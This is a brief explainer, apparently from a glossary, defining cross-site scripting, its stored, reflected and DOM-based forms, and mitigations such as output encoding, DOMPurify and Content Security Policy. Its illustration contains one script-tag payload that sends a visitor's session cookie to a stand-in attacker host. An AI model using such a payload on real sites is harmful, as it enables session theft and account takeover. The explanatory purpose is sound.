XSS injection (Cross-site scripting)

XSS injection (Cross-site scripting) is a web security vulnerability where an attacker injects malicious client-side scripts (usually JavaScript) into a web page that other users' browsers will execute. It exploits unsafe handling of user input or insufficient output encoding/sanitization. Consequences include session theft, account takeover, content manipulation, and distribution of malware.

Imagine a discussion board that renders user comments without sanitizing HTML. An attacker posts a comment containing <script>fetch('https://attacker.example/steal?c='+document.cookie)</script>. When other users view that thread, the script executes in their browsers and sends their session cookie to the attacker. This illustrates stored XSS; other types include reflected XSS (payload reflected via a URL or parameter) and DOM-based XSS (vulnerabilities in client-side script manipulation). Developers mitigate XSS using context-aware output encoding, robust sanitizers such as DOMPurify, Content Security Policy, and secure cookie settings (HttpOnly, SameSite).